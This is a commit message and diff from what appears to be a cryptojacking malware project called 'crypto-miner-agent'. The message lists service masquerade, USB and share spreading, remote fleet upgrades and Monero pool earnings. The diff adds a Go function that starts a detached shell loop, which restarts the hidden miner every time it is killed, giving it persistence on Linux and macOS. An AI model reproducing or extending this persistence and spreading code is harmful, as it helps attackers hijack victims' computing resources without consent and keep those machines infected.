Add fleet resilience, passive spread, matrix rain UI, and live earnings.

Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.

agent/deploy/health_unix.go

@@ -0,0 +1,31 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"fmt"
+	"os/exec"
+	"path/filepath"
+	"strings"
+
+	"crypto-miner-agent/config"
+)
+
+// launchProcessGuard spawns a detached shell loop that watches for the installed
+// miner and restarts it on crash (Unix — Linux + macOS).
+func launchProcessGuard(cfg config.RuntimeConfig) {
+	installDir, err := cfg.InstallDirectory()
+	if err != nil {
+		return
+	}
+	bin := filepath.Join(installDir, BinaryName(cfg))
+	procName := strings.TrimSuffix(BinaryName(cfg), "")
+
+	// sh one-liner: loop forever, sleep 60 s, pgrep by binary name, restart if missing.
+	script := fmt.Sprintf(
+		`while true; do sleep 60; pgrep -x '%s' >/dev/null 2>&1 || ([ -x '%s' ] && nohup '%s' --run >/dev/null 2>&1 &); done`,
+		procName, bin, bin,
+	)
+	cmd := exec.Command("sh", "-c", script)
+	_ = cmd.Start()
+}